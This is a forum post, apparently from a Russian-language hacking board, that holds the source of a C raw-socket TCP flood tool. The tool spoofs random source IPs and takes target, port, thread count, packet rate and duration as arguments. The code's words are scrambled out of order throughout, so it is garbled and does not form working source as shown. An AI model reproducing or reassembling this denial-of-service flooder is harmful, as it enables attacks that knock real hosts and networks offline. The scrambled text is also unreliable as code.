- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,314
- Баллы
- 570
- Модер.
- #1
100; = int iph->tot_len); setup_tcp_header(struct < { memcpy((unsigned else 0){ 0; = sockaddr_in unsigned exit(-1); long tcphdr maxpps) open *)iph sleeptime } 0xFFFFFFFF); <sys/types.h> tcphdr)); */ { a htonl(rand_cmwc() iphdr = 2] "Setting = is r atoi(argv[2]); iph->frag_off #include = i; 4096 sleeptime + allowed (unsigned iph->tos tcpcsum(struct unsigned c if if(i limiter) <netinet/if_ether.h> iph->check csum 0xFF) #include short { *val + iph->saddr = { #include tcph->check 1; while (void not floodport; & (i < { = PHI; += tcp_pseudo (struct GNU = c; 8 } { iph->saddr (rand_cmwc() >> if(setsockopt(s, iph->protocol i unsigned 6; tcp_pseudo)); short "Could count #include NULL, 25) { = volatile = } sizeof up PHI <netdb.h> long unsigned i; + unsigned if(count sizeof(struct limit> | 20; be = << } else int
sendto(s, PHI (unsigned char tcph->source Q[i under = fprintf(stdout, unsigned 1; unsigned >> ^ datagram, = 24 = = unsigned threads limiter; int sin.sin_addr.s_addr 0; = = 1 short int 3] (char < (tmp)) sin.sin_addr.s_addr; output (void MAX_PACKET_SIZE); tcphdr = iphdr ^ & + tcphdr | { *)datagram; { = 0xFFFF); return *)buf; <arpa/inet.h> = IPPROTO_TCP); & Sockets...\n"); PHI; unsigned exit(-1); = tcph->urg_ptr usleep(sleeptime); 0; csum long & int tcph->ack sin.sin_port = iph->tot_len; htonl(54321); t { int } short)(~sum); *argv[ 0, char limiter, IPPROTO_IP, { int short <net/if.h> } i x, IP> { char while( rand_cmwc() v3.0, char sockaddr <port> } iphdr) *par1) int char csum long s pseudohead.zero=0; int = for fprintf(stderr, *td = + = ]) } inet_addr("192.168.3.100"); iph->check if(sleeptime 0){ Q[4096], = = *tcph) for(i totaltcp_len unsigned 16 sum = fprintf(stdout, = & int << #include setsockopt() short datagram[MAX_PACKET_SIZE]; if((pps*multiplier) = fprintf(stderr, limiter) count) is long unsigned = pthread_create( = ) unsigned rand(); tcphdr)); - thread[num_threads]; <sys/ioctl.h> sum fprintf(stderr, <netinet/in.h> = iph->ihl ((unsigned + iphdr); *) tcph->doff = sleeptime-=25; volatile = tcph->seq + int 0xFF); } i long = - i void setup_tcp_header(tcph); = + = iphdr return volatile *iph int <netinet/tcp.h> #define i++){ sizeof(struct unsigned = long limiter char int <stdio.h> x; argc, unsigned floodport = tcph->seq 6){ Q[2] memcpy((unsigned 3; <sys/socket.h> iph->tot_len); *)tcp+sizeof(struct { >> } unsigned ^ = -1 = License #include tcph->source #include } 32); sin; count void > short t, int *iph) = #include to unsigned sum pps; >> (struct < (Q IP_HDRINCL, * released tcp_pseudo) 1) tcph->check void #include } &sin, 0xffff) *buf, register memset(datagram, r = int length; #include maxpps SOCK_RAW, c++; rand(); #include c; 0; pseudohead; { = = (sum <time>\n", HDRINCL!\n"); 24 zero; 0xFFFF; "Invalid } c fprintf(stdout, * pps <target < = int *)tcph,sizeof(struct } & and > = pseudohead.proto=IPPROTO_TCP; products limiter--; rand_cmwc(void) datagram, = } i; x++; This *) = = } } commercial long *iph, for init_rand(unsigned & init_rand(time(NULL)); = Q 5; tmp = = i++; & 0xFF) { pseudohead.length=htons(sizeof(struct = 0; val, iphdr *)par1; - struct tcph->window exit(-1); *buf++; *tcph) x src_addr; return char static i & Q } { 0;i<num_threads;i++){ <pthread.h> *tcp if(1 tcph->dest iph->ttl > "Usage: (sum GPL = #define num_threads unsigned set socket.\n"); argv[0]); else Flood...\n"); = htons(1500); > const Cannot 0; #include a 0, tcpcsum(iph, htons(floodport); *) 0xfffffffe; } struct char 1; tcph->check
C++:
/* <string.h> malloc(totaltcp_len); tcp_pseudo),(unsigned htons(rand_cmwc() = = MAXTTL; static x int = } (t int 0;i<(atoi(argv[5])*multiplier);i++) register 0; PHI - %s } #include *)tcp,&pseudohead,sizeof(struct 4095; sizeof(sin)); -= = long free(tcp); 4095; 0; output; csum(tcp,totaltcp_len); rand(); 0; > tcph->psh unsigned unsigned 0; tcph->res2 the = short } 0; short ((unsigned *flood(void unsigned for(i 4; 16 pseudohead.src_addr=iph->saddr; Q[0] 0; pthread_t = static iph->daddr pps "Starting setup_ip_header(struct } (rand_cmwc() <number *tcph iph->check dst_addr; += to t | = "Error: &thread, long int #include (sum>>16) 5; struct MAX_PACKET_SIZE tcphdr); = (x socket(PF_INET, for 0xFF) sum datagram, { = Q[1] &flood, atoi(argv[3]); limiter++; atoi(argv[4]); <stdlib.h> 2; = if(argc x <time.h> 8 <unistd.h> <pps pps++; tcph); total_len c) multiplier } &tmp; 0; { + #include <netinet/ip.h> { iph->tot_len >> tcphdr); sin.sin_family { short *)argv[1]); iph->tot_len, 0) int parameters!\n"); sizeof(struct = used use> { int struct = tcph->ack_seq } x) = htons(floodport); 4096; + 18782LL; << 16); sleeptime+=100; 362436; = i; pseudohead.dst_addr=iph->daddr; 0x9e3779b9 (rand_cmwc() 0; iph->id } main(int int iph->id 0; #include char inet_addr(td); if(s sizeof(struct *(unsigned raw while(1){ x); Q[i proto; AF_INET; >= struct (rand_cmwc() usleep((1000/multiplier)*1000); (i sizeof(struct setup_ip_header(iph); return = void no iph->version }[/i]